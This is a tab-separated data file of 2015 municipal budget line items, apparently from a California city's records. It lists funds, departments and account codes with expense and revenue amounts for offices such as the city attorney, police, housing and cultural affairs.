13498	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
13499	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2015	1596.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1596.0
13500	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13501	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13502	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	855027.0	0	0	0	0	0	0.0	0	0	0	0	0.0	855027.0
13503	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401550.0	MAP/CODE/SPECIFICATIONS SALES	612.0	Charges for Service	2015	-1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1500.0
13504	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400470.0	POLICE PERMITS	608.0	Licenses and Permits	2015	-23805.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-23805.0
13505	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401450.0	POLICE SERVICES/FEES	612.0	Charges for Service	2015	-7079.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7079.0
13506	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2015	81440.0	0	0	0	0	0	0.0	0	0	0	0	0.0	81440.0
13507	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577410.0	SITE IMPROVEMENTS	816.0	 Supplies and Expenses	2015	8214.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8214.0
13508	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577040.0	AUDIT FEES	816.0	 Supplies and Expenses	2015	10180.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10180.0
13509	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2015	5192.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5192.0
13510	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	555210.0	TRAINING	816.0	 Supplies and Expenses	2015	4072.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4072.0
13511	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	566470.0	TRAFFIC SIGNAL MAINTENANCE	816.0	 Supplies and Expenses	2015	122465.0	0	0	0	0	0	0.0	0	0	0	0	0.0	122465.0
13512	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	13743.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13743.0
13513	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522710.0	AUTO REIMBURSEMENT	816.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
13514	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13515	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	940.0	0	0	0	0	0	0.0	0	0	0	0	0.0	940.0
13516	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2015	3718.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3718.0
13517	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544400.0	COMMUNITY ARTS GRANT	810.0	 Supplies and Expenses	2015	131980.0	0	0	0	0	0	0.0	0	0	0	0	0.0	131980.0
13518	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569100.0	SM SYMPHONY	810.0	 Supplies and Expenses	2015	10900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10900.0
13519	BA	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2015	-1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1100.0
13520	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	20052.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20052.0
13521	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2015	1923.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1923.0
13522	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2015	31060.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31060.0
13523	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533120.0	SPECIAL EQUIP MAINT	816.0	 Supplies and Expenses	2015	5090.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5090.0
13524	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2015	2749.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2749.0
13525	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2015	3849.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3849.0
13526	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511490.0	OVERTIME	810.0	Salaries and Wages	2015	2560.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2560.0
13527	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2015	6675.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6675.0
13528	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555210.0	TRAINING	810.0	 Supplies and Expenses	2015	1018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1018.0
13529	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2015	20063.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20063.0
13530	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2015	814.0	0	0	0	0	0	0.0	0	0	0	0	0.0	814.0
13531	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522720.0	MILEAGE	816.0	 Supplies and Expenses	2015	407.0	0	0	0	0	0	0.0	0	0	0	0	0.0	407.0
13532	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2015	1018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1018.0
13533	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2015	7112.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7112.0
13534	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	1163798.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1163798.0
13535	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	4276.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4276.0
13536	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2015	204.0	0	0	0	0	0	0.0	0	0	0	0	0.0	204.0
13537	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2015	2871248.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2871248.0
13538	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	213.0	0	0	0	0	0	0.0	0	0	0	0	0.0	213.0
13539	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2015	26265.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26265.0
13540	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522500.0	BOARDS AND COMMISSIONS	816.0	 Supplies and Expenses	2015	6545.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6545.0
13541	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401290.0	POLICE-MOVIE JOBS	612.0	Charges for Service	2015	-447120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-447120.0
13542	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401460.0	POLICE SERV-FINGERPRINTING	612.0	Charges for Service	2015	-34674.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-34674.0
13543	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	72965.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72965.0
13544	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	17300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17300.0
13545	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2015	143000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	143000.0
13546	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
13547	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522620.0	RENT	816.0	 Supplies and Expenses	2015	49083.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49083.0
13548	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2015	2240.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2240.0
13549	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577230.0	FISCAL AGENT FEES	816.0	 Supplies and Expenses	2015	12216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12216.0
13550	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511490.0	OVERTIME	816.0	Salaries and Wages	2015	20896.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20896.0
13551	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	102.0	0	0	0	0	0	0.0	0	0	0	0	0.0	102.0
13552	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	566730.0	REC / PARKS COMMISSION	810.0	 Supplies and Expenses	2015	2833.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2833.0
13553	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400700.0	PARKING CITATION FINES	614.0	Fines and Forfeitures	2015	-15000000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15000000.0
13554	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400810.0	PEACE OFFICERS TRAINING	610.0	Intergovernmental	2015	-70000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-70000.0
13555	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405010.0	AUTO IMPOUND RELEASE	612.0	Charges for Service	2015	-241322.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-241322.0
13556	BA	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405810.0	COPS - PER CAPITA	610.0	Intergovernmental	2015	-100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-100000.0
13557	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	7486.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7486.0
13558	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522540.0	ADVERTISING	816.0	 Supplies and Expenses	2015	1018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1018.0
13559	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2015	3777.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3777.0
13560	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544180.0	SMALL TOOLS	816.0	 Supplies and Expenses	2015	509.0	0	0	0	0	0	0.0	0	0	0	0	0.0	509.0
13561	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	1425.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1425.0
13562	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	1156.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1156.0
13563	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2015	4072.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4072.0
13564	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2015	22703.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22703.0
13565	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	520000.0	SUPPLIES AND EXPENSES	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13566	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511490.0	OVERTIME	816.0	Salaries and Wages	2015	511.0	0	0	0	0	0	0.0	0	0	0	0	0.0	511.0
13567	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	40720.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40720.0
13568	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2015	13004.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13004.0
13569	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522120.0	UTILITIES - NATURAL GAS	816.0	 Supplies and Expenses	2015	700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	700.0
13570	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522130.0	UTILITIES - WATER	816.0	 Supplies and Expenses	2015	15271.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15271.0
13571	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522500.0	BOARDS AND COMMISSIONS	816.0	 Supplies and Expenses	2015	1323.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1323.0
13572	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2015	12356.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12356.0
13573	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2015	8251.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8251.0
13574	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	70191.0	0	0	0	0	0	0.0	0	0	0	0	0.0	70191.0
13575	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	402630.0	WASTEWATER MISC NON-OPERATING	662.0	Other	2015	-1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1000.0
13576	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	7489.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7489.0
13577	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2015	400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	400.0
13578	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	1628550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1628550.0
13579	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	61465.0	0	0	0	0	0	0.0	0	0	0	0	0.0	61465.0
13580	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13581	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13582	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13583	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2015	11708.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11708.0
13584	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2015	5239.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5239.0
13585	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522720.0	MILEAGE	804.0	 Supplies and Expenses	2015	14800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14800.0
13586	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	588090.0	FURNITURE & FURNISHINGS	804.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
13587	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511490.0	OVERTIME	816.0	Salaries and Wages	2015	2572.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2572.0
13588	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2015	2545.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2545.0
13589	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533220.0	BLDG / STRUCTURE MAINTENANCE	816.0	 Supplies and Expenses	2015	627584.0	0	0	0	0	0	0.0	0	0	0	0	0.0	627584.0
13590	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	237658.0	0	0	0	0	0	0.0	0	0	0	0	0.0	237658.0
13591	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2015	130537.0	0	0	0	0	0	0.0	0	0	0	0	0.0	130537.0
13592	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2015	2138.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2138.0
13593	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2015	962.0	0	0	0	0	0	0.0	0	0	0	0	0.0	962.0
13594	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	2088.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2088.0
13595	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2015	5726.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5726.0
13596	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569160.0	18TH STREET ARTS COMPLEX	810.0	 Supplies and Expenses	2015	57000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	57000.0
13597	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569200.0	SM PLAYHOUSE	810.0	 Supplies and Expenses	2015	34000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34000.0
13598	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2015	942406.0	0	0	0	0	0	0.0	0	0	0	0	0.0	942406.0
13599	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
13600	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	816.0	 Supplies and Expenses	2015	11357.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11357.0
13601	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13602	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	1046.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1046.0
13603	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	8973.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8973.0
13604	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533590.0	CONF / MTGS / TRAVEL-GD	804.0	 Supplies and Expenses	2015	7268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7268.0
13605	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511490.0	OVERTIME	804.0	Salaries and Wages	2015	4239.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4239.0
13606	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2015	7310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7310.0
13607	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2015	14262.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14262.0
13608	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569110.0	CA HERITAGE SQUARE MUSEUM	810.0	 Supplies and Expenses	2015	23000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23000.0
13609	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2015	16000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16000.0
13610	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2015	5699.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5699.0
13611	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2015	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
13612	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-221000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-221000.0
13613	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	17390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17390.0
13614	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	15132.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15132.0
13615	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511040.0	COUNCIL/BOARD ALLOWANCE	804.0	Salaries and Wages	2015	110634.0	0	0	0	0	0	0.0	0	0	0	0	0.0	110634.0
13616	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533560.0	CONF / MTGS / TRAVEL-PO	804.0	 Supplies and Expenses	2015	7268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7268.0
